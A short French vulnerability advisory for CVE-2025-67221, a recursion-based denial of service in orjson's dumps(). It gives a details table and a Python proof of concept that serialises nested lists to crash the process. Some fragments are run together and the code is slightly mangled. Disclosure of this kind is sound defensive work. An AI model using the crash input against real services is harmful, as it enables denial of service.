
Documentation et code de reproduction pour CVE-2025-67221, une vulnérabilité de déni de service dans la fonction dumps() d'orjson causée par une récursion non contrôlée lors de la sérialisation de données JSON fortement imbriquées.
| Champ | Valeur |
|---|
| Identifiant CVE | CVE-2025-67221 |
| Produit affecté | orjson |
| Versions affectées | ≤ 3.11.4 |
| Type de vulnérabilité | Déni de service (récursion non contrôlée) |
| Vecteur d'attaque | À distance (si l'attaquant contrôle les données sérialisées) |
Une vulnérabilité de déni de service existe dans la fonction orjson.dumps() d'orjson versions 3.11.4 et antérieures. La fonction n'applique pas de limite de récursion lors de la sérialisation de structures de données JSON profondément imbriquées. Un attaquant qui peut amener une application à sérialiser des données imbriquées contrôlées par l'attaquant peut déclencher un crash dans la routine de sérialisation.
orjson.dumps()pysrc/orjson/__init__.pyiTesté sur
Les applications qui utilisent orjson pour sérialiser des structures de données non fiables ou contrôlées par un attaquant peuvent être vulnérables à des attaques par déni de service.
Code pour reproduire la vulnérabilité localement :
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)
##Démonstration
Le code ci-dessus conduit à un beau core dump
